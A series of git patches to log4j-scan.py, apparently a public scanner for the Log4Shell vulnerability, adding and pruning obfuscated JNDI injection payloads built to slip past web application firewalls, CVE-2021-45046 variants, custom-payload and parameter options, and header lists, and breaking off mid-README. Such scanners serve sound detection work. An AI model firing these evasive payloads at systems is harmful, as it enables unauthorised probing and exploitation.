From bf410ea6a6f2d21c54c3150d8f0ed39c585f1a32 Mon Sep 17 00:00:00 2001 From: 1uffyD9 Date: Thu, 16 Dec 2021 10:58:10 +0530 Subject: [PATCH 01/22] Add bypassing payloads --- log4j-scan.py | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/log4j-scan.py b/log4j-scan.py index 94f1944..e321a10 100755 --- a/log4j-scan.py +++ b/log4j-scan.py @@ -57,7 +57,16 @@ "${${lower:${lower:jndi}}:${lower:rmi}://{{callback_host}}/{{random}}}", "${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://{{callback_host}}/{{random}}}", "${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://{{callback_host}}/{{random}}}", - "${jndi:dns://{{callback_host}}}"] + "${jndi:dns://{{callback_host}}}", + "${j${k8s:k5:-ND}i:ldap://{{callback_host}}/{{random}}}", + "${j${k8s:k5:-ND}i:ldap${sd:k5:-:}//{{callback_host}}/{{random}}}", + "${j${k8s:k5:-ND}i${sd:k5:-:}ldap://{{callback_host}}/{{random}}}", + "${j${k8s:k5:-ND}i${sd:k5:-:}ldap${sd:k5:-:}//{{callback_host}}/{{random}}}", + "${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}ldap://{{callback_host}}/{{random}}}", + "${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}ldap{sd:k5:-:}//{{callback_host}}/{{random}}}", + "${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}l${lower:D}ap${sd:k5:-:}//{{callback_host}}/{{random}}}", + "${j${k8s:k5:-ND}i${sd:k5:-:}${lower:L}dap${sd:k5:-:}//{{callback_host}}/{{random}}", + "${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}l${lower:D}a${::-p}${sd:k5:-:}//{{callback_host}}/{{random}}}"] parser = argparse.ArgumentParser() parser.add_argument("-u", "--url", From 16fc0691c15a965e6779af15a75900868caef0c1 Mon Sep 17 00:00:00 2001 From: 1uffyD9 Date: Thu, 16 Dec 2021 18:54:57 +0530 Subject: [PATCH 02/22] Add custom paramter provide functionality --- log4j-scan.py | 94 +++++++++++++++++++++++++++++---------------------- 1 file changed, 53 insertions(+), 41 deletions(-) diff --git a/log4j-scan.py b/log4j-scan.py index e321a10..c33ed4f 100755 --- a/log4j-scan.py +++ b/log4j-scan.py @@ -122,6 +122,11 @@ dest="disable_redirects", help="Disable HTTP redirects. Note: HTTP redirects are useful as it allows the payloads to have higher chance of reaching vulnerable systems.", action='store_true') +parser.add_argument("--target-parameters", + dest="target_parameters", + help="Provide target paramters seperated by commas (Default : v)", + default="v", + action='store') args = parser.parse_args() @@ -130,6 +135,11 @@ if args.proxy: proxies = {"http": args.proxy, "https": args.proxy} + +if args.target_parameters: + args.target_parameters = args.target_parameters.split(',') + + def get_fuzzing_headers(payload): fuzzing_headers = {} fuzzing_headers.update(default_headers) @@ -274,49 +284,51 @@ def scan_url(url, callback_host): payloads = [payload] if args.waf_bypass_payloads: payloads.extend(generate_waf_bypass_payloads(f'{parsed_url["host"]}.{callback_host}', random_string)) + for payload in payloads: cprint(f"[•] URL: {url} | PAYLOAD: {payload}", "cyan") - if args.request_type.upper() == "GET" or args.run_all_tests: - try: - requests.request(url=url, - method="GET", - params={"v": payload}, - headers=get_fuzzing_headers(payload), - verify=False, - timeout=timeout, - allow_redirects=(not args.disable_redirects), - proxies=proxies) - except Exception as e: - cprint(f"EXCEPTION: {e}") - - if args.request_type.upper() == "POST" or args.run_all_tests: - try: - # Post body - requests.request(url=url, - method="POST", - params={"v": payload}, - headers=get_fuzzing_headers(payload), - data=get_fuzzing_post_data(payload), - verify=False, - timeout=timeout, - allow_redirects=(not args.disable_redirects), - proxies=proxies) - except Exception as e: - cprint(f"EXCEPTION: {e}") - - try: - # JSON body - requests.request(url=url, - method="POST", - params={"v": payload}, - headers=get_fuzzing_headers(payload), - json=get_fuzzing_post_data(payload), - verify=False, - timeout=timeout, - allow_redirects=(not args.disable_redirects), - proxies=proxies) - except Exception as e: - cprint(f"EXCEPTION: {e}") + for param in args.target_parameters: + if args.request_type.upper() == "GET" or args.run_all_tests: + try: + requests.request(url=url, + method="GET", + params={param: payload}, + headers=get_fuzzing_headers(payload), + verify=False, + timeout=timeout, + allow_redirects=(not args.disable_redirects), + proxies=proxies) + except Exception as e: + cprint(f"EXCEPTION: {e}") + + if args.request_type.upper() == "POST" or args.run_all_tests: + try: + # Post body + requests.request(url=url, + method="POST", + params={param: payload}, + headers=get_fuzzing_headers(payload), + data=get_fuzzing_post_data(payload), + verify=False, + timeout=timeout, + allow_redirects=(not args.disable_redirects), + proxies=proxies) + except Exception as e: + cprint(f"EXCEPTION: {e}") + + try: + # JSON body + requests.request(url=url, + method="POST", + params={param: payload}, + headers=get_fuzzing_headers(payload), + json=get_fuzzing_post_data(payload), + verify=False, + timeout=timeout, + allow_redirects=(not args.disable_redirects), + proxies=proxies) + except Exception as e: + cprint(f"EXCEPTION: {e}") def main(): From f96359a18523e3caf412db0a142c2249ac99ec97 Mon Sep 17 00:00:00 2001 From: Ayush guha <91629926+HelloGit-ty@users.noreply.github.com> Date: Fri, 17 Dec 2021 02:10:55 +0530 Subject: [PATCH 03/22] Updated log4j-scan.py with additional WAF bypass payloads & option for the user to add custom payloads. Changes - 1. Added new WAF bypass payloads for log4j including the envar based and system property based payload. 2. Added an option for the user to add his/her custom payloads if they wish too. 3. Removed redundant import statement. --- log4j-scan.py | 29 ++++++++++++++++++++++++----- 1 file changed, 24 insertions(+), 5 deletions(-) diff --git a/log4j-scan.py b/log4j-scan.py index 94f1944..6bbb360 100755 --- a/log4j-scan.py +++ b/log4j-scan.py @@ -16,7 +16,6 @@ from urllib import parse as urlparse import base64 import json -import random from uuid import uuid4 from base64 import b64encode from Crypto.Cipher import AES, PKCS1_OAEP @@ -57,7 +56,15 @@ "${${lower:${lower:jndi}}:${lower:rmi}://{{callback_host}}/{{random}}}", "${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://{{callback_host}}/{{random}}}", "${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://{{callback_host}}/{{random}}}", - "${jndi:dns://{{callback_host}}}"] + "${jndi:dns://{{callback_host}}}", + "${jndi:ldap://{{callback_host}}/{{random}}}", + "${jndi:ldap:/{{callback_host}}/{{random}}}", + "${jndi:dns:/{{callback_host}}}", + "${jndi:${lower:l}${lower:d}a${lower:p}://{{callback_host}}}", + "${jnd${upper:ı}:ldap://{{callback_host}}/{{random}}}", + "${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://{{callback_host}}/{{random}}}", + "${${env:{{ENV_NAME}}:-j}ndi${env:{{ENV_NAME}}:-:}${env:{{ENV_NAME}}:-l}dap${env:{{ENV_NAME}}:-:}//{{callback_host}}/{{random}}}", + "${jnd${sys:{{SYS_PROP}}:-i}:ldap:/{{callback_host}}/{{random}}}"] parser = argparse.ArgumentParser() parser.add_argument("-u", "--url", @@ -100,6 +107,10 @@ dest="waf_bypass_payloads", help="Extend scans with WAF bypass payloads.", action='store_true') +parser.add_argument("--custom-waf-bypass", + required=False, + dest="custom_waf_bypass", + help="Input your custom WAF bypass string") parser.add_argument("--dns-callback-provider", dest="dns_callback_provider", help="DNS Callback provider (Options: dnslog.cn, interact.sh) - [Default: interact.sh].", @@ -146,13 +157,19 @@ def get_fuzzing_post_data(payload): def generate_waf_bypass_payloads(callback_host, random_string): payloads = [] + varr = input("Enter envar for envar based waf payload--> ") + varr2 = input("Enter SYS property var for SYS var based waf payload--> ") for i in waf_bypass_payloads: new_payload = i.replace("{{callback_host}}", callback_host) new_payload = new_payload.replace("{{random}}", random_string) + new_payload = new_payload.replace("{{ENV_NAME}}", varr) + new_payload = new_payload.replace("{{SYS_PROP}}", varr2) payloads.append(new_payload) return payloads - - +def custom_waf_payloads(pay_load): + payloads = [] + payloads.append(pay_load) + return payloads class Dnslog(object): def __init__(self): self.s = requests.session() @@ -260,11 +277,13 @@ def parse_url(url): def scan_url(url, callback_host): parsed_url = parse_url(url) - random_string = ''.join(random.choice('0123456789abcdefghijklmnopqrstuvwxyz') for i in range(7)) + random_string = ''.join(random.choice('0123456789abcdefghijklmnopqrstuvwxyz') for _ in range(7)) payload = '${jndi:ldap://%s.%s/%s}' % (parsed_url["host"], callback_host, random_string) payloads = [payload] if args.waf_bypass_payloads: payloads.extend(generate_waf_bypass_payloads(f'{parsed_url["host"]}.{callback_host}', random_string)) + if args.custom_waf_bypass: + payloads.extend(custom_waf_payloads(args.custom_waf_bypass)) for payload in payloads: cprint(f"[•] URL: {url} | PAYLOAD: {payload}", "cyan") if args.request_type.upper() == "GET" or args.run_all_tests: From 58ca0b64c873bda9e0ef77401c38d35bf20bc9b0 Mon Sep 17 00:00:00 2001 From: Ayush guha <91629926+HelloGit-ty@users.noreply.github.com> Date: Fri, 17 Dec 2021 02:14:40 +0530 Subject: [PATCH 04/22] Added the custom-waf-bypass arg to the README.md --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index ef5585e..9497a65 100644 --- a/README.md +++ b/README.md @@ -50,6 +50,7 @@ optional arguments: --wait-time WAIT_TIME Wait time after all URLs are processed (in seconds) - [Default: 5]. --waf-bypass Extend scans with WAF bypass payloads. + --custom-waf-bypass Use your own custom payload. --dns-callback-provider DNS_CALLBACK_PROVIDER DNS Callback provider (Options: dnslog.cn, interact.sh) - [Default: interact.sh]. --custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST From 9cd95c93c94277908bcc62e450ece44cec16decb Mon Sep 17 00:00:00 2001 From: zsecducna <76715938+zsecducna@users.noreply.github.com> Date: Sat, 18 Dec 2021 18:01:04 +0700 Subject: [PATCH 05/22] add count to check which is the good payload --- log4j-scan.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/log4j-scan.py b/log4j-scan.py index 120f07e..e098662 100755 --- a/log4j-scan.py +++ b/log4j-scan.py @@ -158,9 +158,11 @@ def get_fuzzing_post_data(payload): def generate_waf_bypass_payloads(callback_host, random_string): payloads = [] + count = 0 for i in waf_bypass_payloads: + count = count + 1 new_payload = i.replace("{{callback_host}}", callback_host) - new_payload = new_payload.replace("{{random}}", random_string) + new_payload = new_payload.replace("{{random}}", f'{random_string}_{count}') payloads.append(new_payload) return payloads From 7b2dcfd662fa2f739bab1fe08b5d261e2a4a9716 Mon Sep 17 00:00:00 2001 From: zsecducna <76715938+zsecducna@users.noreply.github.com> Date: Sat, 18 Dec 2021 18:03:07 +0700 Subject: [PATCH 06/22] update waf bypasses --- log4j-scan.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/log4j-scan.py b/log4j-scan.py index e098662..e5e6637 100755 --- a/log4j-scan.py +++ b/log4j-scan.py @@ -52,12 +52,13 @@ waf_bypass_payloads = ["${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://{{callback_host}}/{{random}}}", "${${::-j}ndi:rmi://{{callback_host}}/{{random}}}", - "${jndi:rmi://{{callback_host}}}", + "${jndi:rmi://{{callback_host}}/{{random}}}", "${${lower:jndi}:${lower:rmi}://{{callback_host}}/{{random}}}", "${${lower:${lower:jndi}}:${lower:rmi}://{{callback_host}}/{{random}}}", "${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://{{callback_host}}/{{random}}}", "${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://{{callback_host}}/{{random}}}", - "${jndi:dns://{{callback_host}}}", + "${jndi:dns://{{callback_host}}/{{random}}}", + "${jnd${123%25ff:-${123%25ff:-i:}}ldap://{{callback_host}}/{{random}}}" ] cve_2021_45046 = [ From 2e8eb36be3861aec28127ef3cb4e2c7956db878c Mon Sep 17 00:00:00 2001 From: 1uffyD9 <49385501+1uffyD9@users.noreply.github.com> Date: Sun, 19 Dec 2021 21:25:40 +0530 Subject: [PATCH 07/22] Correcting syntax error --- log4j-scan.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/log4j-scan.py b/log4j-scan.py index b9fc37c..f7bcb42 100755 --- a/log4j-scan.py +++ b/log4j-scan.py @@ -331,7 +331,7 @@ def scan_url(url, callback_host): # Post body requests.request(url=url, method="POST", - params=args.target_parameters}, + params=args.target_parameters, headers=get_fuzzing_headers(payload), data=get_fuzzing_post_data(payload), verify=False, From 0a47cb0dba09bbd225e6146e48f45acc132e4dd5 Mon Sep 17 00:00:00 2001 From: Alix Lourme Date: Mon, 20 Dec 2021 12:10:04 +0100 Subject: [PATCH 08/22] Fix #83 : Provide a 'headers-minimal.txt' file --- headers-minimal.txt | 50 +++++++++++++++++++++++++++++++++++++++++++++ headers.txt | 1 - 2 files changed, 50 insertions(+), 1 deletion(-) create mode 100644 headers-minimal.txt diff --git a/headers-minimal.txt b/headers-minimal.txt new file mode 100644 index 0000000..0813b1e --- /dev/null +++ b/headers-minimal.txt @@ -0,0 +1,50 @@ +# Some security appliance seems reset requests when headers are >= ~50 => Minimal headers list. +# Due to 'Authorization' header potentially added with some some options, this list should stay at 48 values. +Referer +X-Api-Version +Accept-Charset +Accept-Datetime +Accept-Encoding +Accept-Language +Cookie +Forwarded +Forwarded-For +Forwarded-For-Ip +Forwarded-Proto +From +True-Client-IP +Upgrade +User-Agent +Via +Warning +Max-Forwards +Origin +Pragma +DNT +Cache-Control +X-Att-DeviceId +X-Correlation-ID +X-Csrf-Token +X-Do-Not-Track +X-Forwarded +X-Forwarded-By +X-Forwarded-For +X-Forwarded-Host +X-Forwarded-Port +X-Forwarded-Proto +X-Forwarded-Scheme +X-Forwarded-Server +X-Forwarded-Ssl +X-From +X-Geoip-Country +X-Http-Destinationurl +X-Http-Host-Override +X-Http-Method +X-Http-Method-Override +X-Hub-Signature +X-If-Unmodified-Since +X-ProxyUser-Ip +X-Requested-With +X-Request-ID +X-UIDH +X-XSRF-TOKEN \ No newline at end of file diff --git a/headers.txt b/headers.txt index f0943cf..33abea1 100644 --- a/headers.txt +++ b/headers.txt @@ -16,7 +16,6 @@ Upgrade User-Agent Via Warning -X-Api-Version Max-Forwards Origin Pragma From 152e03939c2119fa4dd2dc750782418586a9a787 Mon Sep 17 00:00:00 2001 From: nahberry Date: Wed, 22 Dec 2021 09:32:49 -0500 Subject: [PATCH 09/22] Fixed Grammer --- log4j-scan.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/log4j-scan.py b/log4j-scan.py index 120f07e..ec89c67 100755 --- a/log4j-scan.py +++ b/log4j-scan.py @@ -64,7 +64,7 @@ "${jndi:ldap://127.0.0.1#{{callback_host}}:1389/{{random}}}", # Source: https://twitter.com/marcioalm/status/1471740771581652995, "${jndi:ldap://127.0.0.1#{{callback_host}}/{{random}}}", "${jndi:ldap://127.1.1.1#{{callback_host}}/{{random}}}" - ] + ] parser = argparse.ArgumentParser() @@ -374,7 +374,7 @@ def main(): time.sleep(int(args.wait_time)) records = dns_callback.pull_logs() if len(records) == 0: - cprint("[•] Targets does not seem to be vulnerable.", "green") + cprint("[•] Target does not seem to be vulnerable.", "green") else: cprint("[!!!] Target Affected", "yellow") for i in records: From 880ce4bcb35a73f7260598acd058fdb3e3cef9f1 Mon Sep 17 00:00:00 2001 From: nahberry Date: Wed, 22 Dec 2021 09:35:30 -0500 Subject: [PATCH 10/22] Fixed Grammer --- log4j-scan.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/log4j-scan.py b/log4j-scan.py index ec89c67..1857193 100755 --- a/log4j-scan.py +++ b/log4j-scan.py @@ -374,9 +374,9 @@ def main(): time.sleep(int(args.wait_time)) records = dns_callback.pull_logs() if len(records) == 0: - cprint("[•] Target does not seem to be vulnerable.", "green") + cprint("[•] Targets do not seem to be vulnerable.", "green") else: - cprint("[!!!] Target Affected", "yellow") + cprint("[!!!] Targets Affected", "yellow") for i in records: cprint(i, "yellow") From 18f99df9a446aa4861ba2ccf647de5de4fc938ce Mon Sep 17 00:00:00 2001 From: pickonefish Date: Thu, 23 Dec 2021 22:46:42 +0800 Subject: [PATCH 11/22] feat: add docker-compose.yaml --- docker-compose.yaml | 12 ++++++++++++ 1 file changed, 12 insertions(+) create mode 100644 docker-compose.yaml diff --git a/docker-compose.yaml b/docker-compose.yaml new file mode 100644 index 0000000..9b57687 --- /dev/null +++ b/docker-compose.yaml @@ -0,0 +1,12 @@ +version: '3' +services: + log4j_scan: + build: + context: ./ + dockerfile: Dockerfile + entrypoint: + - python + - log4j-scan.py + - -u + - 'http://localhost:8080/api/auth/' + - --run-all-tests From 43a2140c194c7887a922aa90ed8dd2729d89fa62 Mon Sep 17 00:00:00 2001 From: Mazin Ahmed Date: Sat, 25 Dec 2021 17:05:15 +0400 Subject: [PATCH 12/22] removed docker-compose.yaml --- docker-compose.yaml | 12 ------------ 1 file changed, 12 deletions(-) delete mode 100644 docker-compose.yaml diff --git a/docker-compose.yaml b/docker-compose.yaml deleted file mode 100644 index 9b57687..0000000 --- a/docker-compose.yaml +++ /dev/null @@ -1,12 +0,0 @@ -version: '3' -services: - log4j_scan: - build: - context: ./ - dockerfile: Dockerfile - entrypoint: - - python - - log4j-scan.py - - -u - - 'http://localhost:8080/api/auth/' - - --run-all-tests From 59d2c2fa754a58b1e97e611b7ae05da261fa3ac0 Mon Sep 17 00:00:00 2001 From: Mazin Ahmed Date: Sat, 25 Dec 2021 18:36:01 +0400 Subject: [PATCH 13/22] minor clean-ups --- log4j-scan.py | 38 ++++++++++++++------------------------ 1 file changed, 14 insertions(+), 24 deletions(-) diff --git a/log4j-scan.py b/log4j-scan.py index aea50ef..331d4d5 100755 --- a/log4j-scan.py +++ b/log4j-scan.py @@ -52,20 +52,16 @@ waf_bypass_payloads = ["${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://{{callback_host}}/{{random}}}", "${${::-j}ndi:rmi://{{callback_host}}/{{random}}}", - "${jndi:rmi://{{callback_host}}}", + "${jndi:rmi://{{callback_host}}}/", "${${lower:jndi}:${lower:rmi}://{{callback_host}}/{{random}}}", "${${lower:${lower:jndi}}:${lower:rmi}://{{callback_host}}/{{random}}}", "${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://{{callback_host}}/{{random}}}", "${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://{{callback_host}}/{{random}}}", "${jndi:dns://{{callback_host}}}", - "${jndi:ldap://{{callback_host}}/{{random}}}", - "${jndi:ldap:/{{callback_host}}/{{random}}}", - "${jndi:dns:/{{callback_host}}}", "${jndi:${lower:l}${lower:d}a${lower:p}://{{callback_host}}}", - "${jnd${upper:ı}:ldap://{{callback_host}}/{{random}}}", - "${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://{{callback_host}}/{{random}}}", - "${${env:{{ENV_NAME}}:-j}ndi${env:{{ENV_NAME}}:-:}${env:{{ENV_NAME}}:-l}dap${env:{{ENV_NAME}}:-:}//{{callback_host}}/{{random}}}", - "${jnd${sys:{{SYS_PROP}}:-i}:ldap:/{{callback_host}}/{{random}}}"] + "${jnd${upper:i}:ldap://{{callback_host}}/{{random}}}", + "${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://{{callback_host}}/{{random}}}" + ] cve_2021_45046 = [ "${jndi:ldap://127.0.0.1#{{callback_host}}:1389/{{random}}}", # Source: https://twitter.com/marcioalm/status/1471740771581652995, @@ -114,10 +110,9 @@ dest="waf_bypass_payloads", help="Extend scans with WAF bypass payloads.", action='store_true') -parser.add_argument("--custom-waf-bypass", - required=False, - dest="custom_waf_bypass", - help="Input your custom WAF bypass string") +parser.add_argument("--custom-waf-bypass-payload", + dest="custom_waf_bypass_payload", + help="Test with custom WAF bypass payload.") parser.add_argument("--test-CVE-2021-45046", dest="cve_2021_45046", help="Test using payloads for CVE-2021-45046 (detection payloads).", @@ -143,6 +138,9 @@ if args.proxy: proxies = {"http": args.proxy, "https": args.proxy} +if args.custom_waf_bypass_payload: + waf_bypass_payloads.append(args.custom_waf_bypass_payload) + def get_fuzzing_headers(payload): fuzzing_headers = {} fuzzing_headers.update(default_headers) @@ -155,7 +153,8 @@ def get_fuzzing_headers(payload): if args.exclude_user_agent_fuzzing: fuzzing_headers["User-Agent"] = default_headers["User-Agent"] - fuzzing_headers["Referer"] = f'https://{fuzzing_headers["Referer"]}' + if "Referer" in fuzzing_headers: + fuzzing_headers["Referer"] = f'https://{fuzzing_headers["Referer"]}' return fuzzing_headers @@ -168,19 +167,11 @@ def get_fuzzing_post_data(payload): def generate_waf_bypass_payloads(callback_host, random_string): payloads = [] - varr = input("Enter envar for envar based waf payload--> ") - varr2 = input("Enter SYS property var for SYS var based waf payload--> ") for i in waf_bypass_payloads: new_payload = i.replace("{{callback_host}}", callback_host) new_payload = new_payload.replace("{{random}}", random_string) - new_payload = new_payload.replace("{{ENV_NAME}}", varr) - new_payload = new_payload.replace("{{SYS_PROP}}", varr2) payloads.append(new_payload) return payloads -def custom_waf_payloads(pay_load): - payloads = [] - payloads.append(pay_load) - return payloads def get_cve_2021_45046_payloads(callback_host, random_string): payloads = [] @@ -297,13 +288,12 @@ def parse_url(url): def scan_url(url, callback_host): parsed_url = parse_url(url) - random_string = ''.join(random.choice('0123456789abcdefghijklmnopqrstuvwxyz') for _ in range(7)) + random_string = ''.join(random.choice('0123456789abcdefghijklmnopqrstuvwxyz') for i in range(7)) payload = '${jndi:ldap://%s.%s/%s}' % (parsed_url["host"], callback_host, random_string) payloads = [payload] if args.waf_bypass_payloads: payloads.extend(generate_waf_bypass_payloads(f'{parsed_url["host"]}.{callback_host}', random_string)) - if args.custom_waf_bypass: - payloads.extend(custom_waf_payloads(args.custom_waf_bypass)) + if args.cve_2021_45046: cprint(f"[•] Scanning for CVE-2021-45046 (Log4j v2.15.0 Patch Bypass - RCE)", "yellow") payloads = get_cve_2021_45046_payloads(f'{parsed_url["host"]}.{callback_host}', random_string) From f0d3c53a654e886ea41f0e43c7581e12d0358ec9 Mon Sep 17 00:00:00 2001 From: Mazin Ahmed Date: Sat, 25 Dec 2021 18:42:29 +0400 Subject: [PATCH 14/22] removed counter --- log4j-scan.py | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/log4j-scan.py b/log4j-scan.py index 31fa71c..3f75f2c 100755 --- a/log4j-scan.py +++ b/log4j-scan.py @@ -170,11 +170,9 @@ def get_fuzzing_post_data(payload): def generate_waf_bypass_payloads(callback_host, random_string): payloads = [] - count = 0 for i in waf_bypass_payloads: - count = count + 1 new_payload = i.replace("{{callback_host}}", callback_host) - new_payload = new_payload.replace("{{random}}", f'{random_string}_{count}') + new_payload = new_payload.replace("{{random}}", f'{random_string}') payloads.append(new_payload) return payloads From 43db088e5cab4f128b52cf41f2c4e427dee55a5e Mon Sep 17 00:00:00 2001 From: Mazin Ahmed Date: Sat, 25 Dec 2021 18:51:19 +0400 Subject: [PATCH 15/22] updates to remove target-parameters for simplicity --- log4j-scan.py | 18 +++--------------- 1 file changed, 3 insertions(+), 15 deletions(-) diff --git a/log4j-scan.py b/log4j-scan.py index 7e1f4ce..bd03a1a 100755 --- a/log4j-scan.py +++ b/log4j-scan.py @@ -142,11 +142,6 @@ dest="disable_redirects", help="Disable HTTP redirects. Note: HTTP redirects are useful as it allows the payloads to have higher chance of reaching vulnerable systems.", action='store_true') -parser.add_argument("--target-parameters", - dest="target_parameters", - help="Provide target paramters (Ex: 'param1=value1¶m2={{inject}}¶m3={{inject}}' (Default : v)", - default="v={{inject}}", - action='store') args = parser.parse_args() @@ -156,10 +151,6 @@ proxies = {"http": args.proxy, "https": args.proxy} -if args.target_parameters: - args.target_parameters = { i.split('=',1)[0] : i.split('=',1)[1] for i in args.target_parameters.split('&')} - - if args.custom_waf_bypass_payload: waf_bypass_payloads.append(args.custom_waf_bypass_payload) @@ -323,15 +314,12 @@ def scan_url(url, callback_host): for payload in payloads: cprint(f"[•] URL: {url} | PAYLOAD: {payload}", "cyan") - for key, val in args.target_parameters.items(): - if val == '{{inject}}': - args.target_parameters[key] = val.replace('{{inject}}', payload) if args.request_type.upper() == "GET" or args.run_all_tests: try: requests.request(url=url, method="GET", - params=args.target_parameters, + params={"v": payload}, headers=get_fuzzing_headers(payload), verify=False, timeout=timeout, @@ -345,7 +333,7 @@ def scan_url(url, callback_host): # Post body requests.request(url=url, method="POST", - params=args.target_parameters, + params={"v": payload}, headers=get_fuzzing_headers(payload), data=get_fuzzing_post_data(payload), verify=False, @@ -359,7 +347,7 @@ def scan_url(url, callback_host): # JSON body requests.request(url=url, method="POST", - params=args.target_parameters, + params={"v": payload}, headers=get_fuzzing_headers(payload), json=get_fuzzing_post_data(payload), verify=False, From 9079db4e5f5aa2358c7fed5873b52446f206cc18 Mon Sep 17 00:00:00 2001 From: Mazin Ahmed Date: Sat, 25 Dec 2021 18:53:36 +0400 Subject: [PATCH 16/22] json.dumps to records --- log4j-scan.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/log4j-scan.py b/log4j-scan.py index bd03a1a..193b600 100755 --- a/log4j-scan.py +++ b/log4j-scan.py @@ -402,7 +402,7 @@ def main(): else: cprint("[!!!] Targets Affected", "yellow") for i in records: - cprint(i, "yellow") + cprint(json.dumps(i), "yellow") if __name__ == "__main__": From 3eab1aa6a917cd98a28c1aae535cb10f04cf8c21 Mon Sep 17 00:00:00 2001 From: Mazin Ahmed Date: Sat, 25 Dec 2021 19:19:24 +0400 Subject: [PATCH 17/22] add name/uname to post data parameters --- log4j-scan.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/log4j-scan.py b/log4j-scan.py index 193b600..532dc96 100755 --- a/log4j-scan.py +++ b/log4j-scan.py @@ -47,7 +47,8 @@ # 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36', 'Accept': '*/*' # not being tested to allow passing through checks on Accept header in older web-servers } -post_data_parameters = ["username", "user", "email", "email_address", "password"] + +post_data_parameters = ["username", "user", "uname", "name", "email", "email_address", "password"] timeout = 4 waf_bypass_payloads = ["${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://{{callback_host}}/{{random}}}", From 3886ac4d9f70631047370390bb07f6dd89024f97 Mon Sep 17 00:00:00 2001 From: Mazin Ahmed Date: Sat, 25 Dec 2021 19:44:29 +0400 Subject: [PATCH 18/22] flake8: log4j-scan.py --- log4j-scan.py | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/log4j-scan.py b/log4j-scan.py index 532dc96..e2b9f39 100755 --- a/log4j-scan.py +++ b/log4j-scan.py @@ -16,7 +16,6 @@ from urllib import parse as urlparse import base64 import json -import random from uuid import uuid4 from base64 import b64encode from Crypto.Cipher import AES, PKCS1_OAEP @@ -74,13 +73,13 @@ "${jndi:${lower:l}${lower:d}a${lower:p}://{{callback_host}}}", "${jnd${upper:i}:ldap://{{callback_host}}/{{random}}}", "${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://{{callback_host}}/{{random}}}" - ] + ] cve_2021_45046 = [ - "${jndi:ldap://127.0.0.1#{{callback_host}}:1389/{{random}}}", # Source: https://twitter.com/marcioalm/status/1471740771581652995, + "${jndi:ldap://127.0.0.1#{{callback_host}}:1389/{{random}}}", # Source: https://twitter.com/marcioalm/status/1471740771581652995, "${jndi:ldap://127.0.0.1#{{callback_host}}/{{random}}}", "${jndi:ldap://127.1.1.1#{{callback_host}}/{{random}}}" - ] + ] parser = argparse.ArgumentParser() parser.add_argument("-u", "--url", @@ -188,6 +187,7 @@ def generate_waf_bypass_payloads(callback_host, random_string): payloads.append(new_payload) return payloads + def get_cve_2021_45046_payloads(callback_host, random_string): payloads = [] for i in cve_2021_45046: @@ -196,6 +196,7 @@ def get_cve_2021_45046_payloads(callback_host, random_string): payloads.append(new_payload) return payloads + class Dnslog(object): def __init__(self): self.s = requests.session() @@ -308,7 +309,7 @@ def scan_url(url, callback_host): payloads = [payload] if args.waf_bypass_payloads: payloads.extend(generate_waf_bypass_payloads(f'{parsed_url["host"]}.{callback_host}', random_string)) - + if args.cve_2021_45046: cprint(f"[•] Scanning for CVE-2021-45046 (Log4j v2.15.0 Patch Bypass - RCE)", "yellow") payloads = get_cve_2021_45046_payloads(f'{parsed_url["host"]}.{callback_host}', random_string) @@ -374,7 +375,7 @@ def main(): dns_callback_host = "" if args.custom_dns_callback_host: cprint(f"[•] Using custom DNS Callback host [{args.custom_dns_callback_host}]. No verification will be done after sending fuzz requests.") - dns_callback_host = args.custom_dns_callback_host + dns_callback_host = args.custom_dns_callback_host else: cprint(f"[•] Initiating DNS callback server ({args.dns_callback_provider}).") if args.dns_callback_provider == "interact.sh": From 910ed0a710ab66ba982b07d865496a89503766b4 Mon Sep 17 00:00:00 2001 From: Mazin Ahmed Date: Sat, 25 Dec 2021 19:49:23 +0400 Subject: [PATCH 19/22] updated readme --- README.md | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index 2000744..f42c2d2 100644 --- a/README.md +++ b/README.md @@ -38,15 +38,15 @@ $ python3 log4j-scan.py -h [•] CVE-2021-44228 - Apache Log4j RCE Scanner [•] Scanner provided by FullHunt.io - The Next-Gen Attack Surface Management Platform. [•] Secure your External Attack Surface with FullHunt.io. -usage: log4j-scan.py [-h] [-u URL] [-l USEDLIST] [--request-type REQUEST_TYPE] [--headers-file HEADERS_FILE] [--run-all-tests] [--exclude-user-agent-fuzzing] - [--wait-time WAIT_TIME] [--waf-bypass] [--dns-callback-provider 